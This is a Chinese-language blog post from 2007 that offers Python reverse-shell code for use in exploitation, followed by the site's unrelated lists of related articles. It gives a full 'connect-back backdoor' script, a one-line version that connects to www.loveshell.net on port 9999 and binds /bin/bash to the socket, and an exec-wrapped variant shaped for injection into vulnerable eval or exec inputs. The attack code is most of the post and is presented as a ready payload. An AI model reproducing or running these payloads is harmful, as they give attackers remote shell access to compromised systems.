在漏洞利用Python代码真的很爽


Posted in Python onAugust 26, 2007

不知道怎么忽然想看这个,呵呵
小我的python的反shell的代码
#!/usr/bin/python
# Python Connect-back Backdoor
# Author: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>
# Version: 1.0
# Date: July 15th 2006

import sys
import os
import socket
shell = "/bin/sh"

def usage(programname):
  print "Python Connect-back Backdoor"
  print "Auther: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>"
  print "Date: July 15th 2006\n"
  print "Usage: %s <conn_back_host> <port>\n" % programname

def main():
  if len(sys.argv) != 3: 
    usage(sys.argv[0])
    sys.exit(1)

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  try: 
    s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
    print "[+] Connect ok." 
  except: 
    print "[-] Could not connect to %s:%s" % (sys.argv[1], sys.argv[2]) 
    sys.exit(2)
  s.send("-------------------- Python Connect-back Backdoor --------------------\n")
  s.send("----------------------------- By wofeiwo -----------------------------\n")
  os.dup2(s.fileno(), 0)
  os.dup2(s.fileno(), 1)
  os.dup2(s.fileno(), 2)
  global shell
  os.system(shell)
  print "See U!"
  s.close()

if __name__ == "__main__": main()

用在漏洞利用的时候不太好,不是么?我们想要短点的,节省下就是

import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master\r\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?\r\n");os.system("/bin/bash");s.close();s.send("See u next time!\r\n");

如何?很短了吧?
不过很可能漏洞利用的地方不允许多语句,譬如允许的输入是在eval当中,不能多语句(后面有解释)那么还可以变化下
exec 'import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master\\r\\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?\\r\\n");os.system("/bin/bash");s.close();s.send("See u next time!\\r\\n");';

注意是\\r\\n哦,即使在''里好象\r\n一样会成为换行,所以其实这里即使不用;一样可以构造好代码的,另外,为什么不用eval呢?
翻了下手册
exec语句用来执行储存在字符串或文件中的Python语句。例如,我们可以在运行时生成一个包含Python代码的字符串,然后使用exec语句执行这些语句

eval语句用来计算存储在字符串中的有效Python表达式

呵呵,这里用eval好象会出错.
YY一下,思想是相同的,但是具体到语言又是不一样的,如何跳出语言的限制呢?是个问题......

Python 相关文章推荐
分析在Python中何种情况下需要使用断言
Apr 01 Python
python中__slots__用法实例
Jun 04 Python
Python中的左斜杠、右斜杠(正斜杠和反斜杠)
Aug 30 Python
Python使用wget实现下载网络文件功能示例
May 31 Python
Python使用pandas处理CSV文件的实例讲解
Jun 22 Python
对numpy中二进制格式的数据存储与读取方法详解
Nov 01 Python
Python Matplotlib实现三维数据的散点图绘制
Mar 19 Python
使用pip安装python库的多种方式
Jul 31 Python
在python tkinter界面中添加按钮的实例
Mar 04 Python
用 Python 制作地球仪的方法
Apr 24 Python
解决Keras中Embedding层masking与Concatenate层不可调和的问题
Jun 18 Python
 分享一个Python 遇到数据库超好用的模块
Apr 06 Python
python编程-将Python程序转化为可执行程序[整理]
Apr 09 #Python
python的几种开发工具介绍
Mar 07 #Python
王纯业的Python学习笔记 下载
Feb 10 #Python
一篇不错的Python入门教程
Feb 08 #Python
Python学习资料
Feb 08 #Python
Python完全新手教程
Feb 08 #Python
简明 Python 基础学习教程
Feb 08 #Python
You might like
PHP+ajaxfileupload+jcrop插件完美实现头像上传剪裁
2014/06/09 PHP
PHP网页游戏学习之Xnova(ogame)源码解读(一)
2014/06/23 PHP
PHP 实现判断用户是否手机访问
2015/01/21 PHP
php实现在服务器上创建目录的方法
2015/03/16 PHP
PHP 加密 Password Hashing API基础知识点
2020/03/02 PHP
6个DIV 135或246间隔一秒轮番显示效果
2010/07/24 Javascript
jQuery获取文本节点之 text()/val()/html() 方法区别
2011/03/01 Javascript
js变换显示图片的实例
2013/04/16 Javascript
Javascript 实现的数独解题算法网页实例
2013/10/15 Javascript
含有CKEditor的表单如何提交
2014/01/09 Javascript
ie9 提示'console' 未定义问题的解决方法
2014/03/20 Javascript
JQuery中serialize()用法实例分析
2015/02/06 Javascript
jquery动态增加删减表格行特效
2015/11/20 Javascript
jQuery获得字体颜色16位码的方法
2016/02/20 Javascript
关于JS 预解释的相关理解
2016/06/28 Javascript
JS监听微信、支付宝等移动app及浏览器的返回、后退、上一页按钮的事件方法
2016/08/05 Javascript
javascript简单链式调用案例分析
2017/05/10 Javascript
解析vue中的$mount
2017/12/21 Javascript
Vue之Mixins(混入)的使用方法
2019/09/24 Javascript
python使用wxpython开发简单记事本的方法
2015/05/20 Python
用python写一个windows下的定时关机脚本(推荐)
2017/03/21 Python
Python实现针对含中文字符串的截取功能示例
2017/09/22 Python
python编程通过蒙特卡洛法计算定积分详解
2017/12/13 Python
centos6.8安装python3.7无法import _ssl的解决方法
2018/09/17 Python
python+pyqt5编写md5生成器
2019/03/18 Python
python实现合并多个list及合并多个django QuerySet的方法示例
2019/06/11 Python
django处理select下拉表单实例(从model到前端到post到form)
2020/03/13 Python
Python猴子补丁Monkey Patch用法实例解析
2020/03/23 Python
Python3爬虫mitmproxy的安装步骤
2020/07/29 Python
联想西班牙官网:Lenovo西班牙
2018/08/28 全球购物
2014国培学习感言
2014/03/05 职场文书
工作检讨书500字
2014/10/19 职场文书
2015年干部教育培训工作总结
2015/05/15 职场文书
一文搞懂php的垃圾回收机制
2021/06/18 PHP
uniapp 微信小程序 自定义tabBar 导航
2022/04/22 Javascript
Promise静态四兄弟实现示例详解
2022/07/07 Javascript